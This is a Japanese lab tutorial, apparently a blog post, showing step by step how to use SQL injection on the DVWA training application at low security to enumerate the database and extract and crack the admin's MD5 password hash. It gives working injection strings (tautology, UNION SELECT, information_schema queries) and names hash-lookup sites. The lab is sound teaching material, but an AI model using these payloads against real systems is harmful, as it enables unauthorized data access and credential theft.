DVWAでSQLインジェクション

## 前提
- kali linux環境がある
- DVWAのセットアップ済み（https://qiita.com/KPenguin/items/7e4f1c428c3dadf8591c ）

## 目標
- sqlインジェクションでadminのパスワードを奪取する

## 手順概要
- sqlインジェクションができるか確認する
- DVWAで使用されているDBを見つける
- ユーザ情報を管理しているテーブルを特定する
- 特定したテーブル内の使用されるカラムを確認する
- カラムにパスワードに関するものをみつける
- adminのパスワードを奪取する
- 暗号化されているので解読する

## 内容
### SQLインジェクションとは
- 入力フォームなどからSQL命令を直接送り込み、データベースに不正アクセスする方法

### 前準備
- DVWAにログインする
    - http://localhost/DVWA-master/index.php
    - admin/passwordでログイン
- セキュリティレベルを下げる。
    - メニュー下にあるDVWA securityへアクセス
    - デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/bb95d520-1602-b7b8-afa3-85da3ffb651e.png)

- SQLインジェクションページにアクセスする（左メニューの下にある）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/8b684206-9457-bc2d-5305-63dcaf5b287e.png)

### インジェクション開始

- まずは、ログインフォームが機能するか確認
    - 取り合えず「１」を入力すると、id:1のユーザー情報が返ってくる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/608068b6-c69e-107b-5a39-45385634edd9.png)

```sql:
-- 余談だが、こんな感じの命令文なのだろう
SELECT [表示する要素名] FROM [テーブル名] where id = [入力値]
```


- sql命令文が通るか確認する
    - 「1' or 'a'='a」と入力すると、全ユーザーが出力された。つまり、sql命令可能なフォームであることが分かった。

```sql:
-- 1' or 'a'='a'とすると,後者が必ずtrueになるので全部ユーザー返ってくるはず
SELECT [表示する要素名] FROM [テーブル名] where id = [入力値]　OR 'a' ='a
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/a8289a9d-c66d-69e2-983c-04b1f48f715b.png)

- DBのバージョン取得する（今回のpw奪取には不要だが一応）
    - 「' union select version(), null #」と入力すると、バージョンが返ってきた。

```sql:
-- バージョンを取得
select version()
-- 今回すでにselect文が組み込まれているので、１つの命令で２つのselectを流すようにする
-- unionはselectを統合する
-- 最後は#で不要な命令をコメントアウトする
union select version() #
--The used SELECT statements have a different number of columnsってエラーになる
union select version(), null #
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/1b1116d1-b9ce-fce2-d4b8-74b4e3c60763.png)

- 検索すべきDBを特定するためDB名を取得（ついでにホスト名とユーザー名）
    - 「' union select @@hostname,database() #」と入力すると、hostname:kali,DB:dvwaであることが分かった。
    - 「' union select user(),'hoge' #」と入力すると、user:mysqlであることが分かった。

```sql:
-- ホスト名
@@hostname
-- データベース名
database()
-- ユーザー名
user()
-- バージョン取得時と同様に
union select @@hostname,database() #
union select user(),'hoge' #
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/fce3aa8e-f26a-2a89-c692-f49c64d97a3e.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/af580830-f7d4-c45c-9fb7-f69ee0c1219b.png)


- DB:dvwaのテーブルを取得
    - 「' union select table_name, null from information_schema.tables where table_schema = 'dvwa' #」と入力するとguestbookとusersの２つテーブルがあることが分かった。
    - 多分usersテーブルにユーザー情報がありそうだと目星をつける。

```sql:
-- information_schemaが持つデータは以下の３つ
-- <1>schemata:DBのメタ情報
-- <2>tables:テーブルのメタ情報
-- <3>column:カラムのメタ情報
union select table_name, null from information_schema.tables #
-- 多量のデータが出てきたので、絞り込む。今回のDBはdvwaなのでそれを使う
union select table_name, null from information_schema.tables where table_schema = 'dvwa'#
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/6dade136-7562-5acf-7786-1d335419b34b.png)

- ユーザーテーブルのカラムを参照
    - 「' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa'#」と入力すると、各テーブルのカラムが出てきた。

```sql:
union select table_name,column_name from information_schema.columns where table_schema = 'dvwa'#
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/57d480aa-fac7-09bb-5689-ac17c475c400.png)

- passwordカラムの存在を確認できたので、adminのパスワードを奪取する
    - 「' union select user, password from dvwa.users where user = 'admin' #」と入力すると、adminのみのパスワードが出力された。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/ebf12856-20d3-7931-eb06-edc32945cec5.png)

- ハッシュパスワードを解析する
    - 汎用的なMD5ハッシュは（ https://www.md5online.org/ ）で検索できるらしいが、検索失敗した。
    - 代用品使用（ https://hashtoolkit.com/decrypt-hash/?hash=5f4dcc3b5aa765d61d8327deb882cf99 ）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/6d27bba0-5417-256a-cec2-a403ec143c7c.png)

- admin/passwordを奪取できた。